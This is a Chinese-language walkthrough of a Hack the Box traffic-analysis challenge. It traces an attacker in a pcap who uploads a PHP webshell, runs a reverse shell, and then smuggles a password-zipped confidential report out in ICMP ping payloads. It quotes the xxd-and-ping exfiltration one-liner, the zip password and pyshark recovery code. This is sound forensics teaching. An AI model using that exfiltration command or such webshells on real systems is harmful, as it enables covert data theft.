这是一道Hack the Box网络流量分析题,中等难度,题目本身就是一个 pcap 包。
1. 题目:
原文件链接如下,有兴趣可以自己先看一看:
链接: https://pan.baidu.com/s/16KLwQuoYA1AfEwuK78bBWg
提取码: 8864
Flag 格式:
HTB{f4k3_fl4g_f0r_t3st1ng}
2. 查看文件
打开wireshark,首先查看有没有什么文件。点击File - Export Objects - HTTP:
测,文件虽然还挺多,却都不是能够打开的。但是文件的名字都非常的大胆!
lsdzzipcqxniuzq-1664513269.9167.php?cmd=ls 明显是自己上传一个php文件调用cmd,后面带的参数 cmd=ls 明显就是传给php的cmd命令。
rev.php 明显是一个获得root权限的 reverse shell。
3. 追踪TCP流
选择Analyze - Follow -TCP Stream 来追踪TCP流:
可以看到果然和我们预料的差不多。由于网站没有限制文件上传类型,攻击者上传了一个远程命令执行的php程序,其中调用了cmd。
但继续往后看,攻击者并不满足于此,在Stream 6 即第6个 TCP 流中竟然直接捕获到了Revershell 的源码!犯罪现场啊!!!
不出意外的,攻击者拿到了服务器的root权限。在第8个TCP流中,可以看到攻击者一顿骚操作。
zip -P Im4H4ck3rL0rd ConfidentialReport.zip ConfidentialReport.pdf
这是将一个 ConfidentialReport.pdf 文件用密码 Im4H4ck3rL0rd 压缩成一个zip文件。
xxd -ps -c 14 ConfidentialReport.zip | while read i; do ping -c 1 -s `echo ${#i}/2 | bc` -p $i 192.168.127.1; done >/dev/null 2>&1
xxd 是一个linux命令,可以把文件制作成16进制 (hexdump ),或者把hexdump转换成文件。-ps 指已hexdump样式输出,-c 14 指每14个字节一行。
我们可以看到在这个包之后全是ICMP包,而且每个包的Data部分都有14 bytes。这个题的意图就很明显了。提取所有ICMP包中的14位Data内容,还原zip文件夹,用密码解压获得ConfidentialReport.pdf。
4. 提取文件
由于所有数据是用ICMP包传输的。使用 icmp && ip.src==192.168.127.131 过滤,即是所有zip文件夹的数据包。我们可以用python得pyshark库提取所有包(9897个)的Data部分。
import pyshark
cap = pyshark.FileCapture("capture.pcap", display_filter="icmp && ip.src==192.168.127.131")
text = ''
for i in range(0, 9897):
text += str(cap[i].icmp.data_data).replace(':','')
print(text)
cap.close()
由于结果太长我就不放了。输出结果应该就是zip文件的hexdump,我们把输出的text粘贴到一个文件里。将文件命名为ConfidentialReport.hex。
然后用xxd -r -ps将ConfidentialReport.hex文件还原成zip文件。
xxd -r -ps ConfidentialReport.hex > ConfidentialReport.zip
成功!用加密的密码(Im4H4ck3rL0rd)打开压缩文件,拿到ConfidentialReport.pdf文件。
找到HTB旗子。
以上。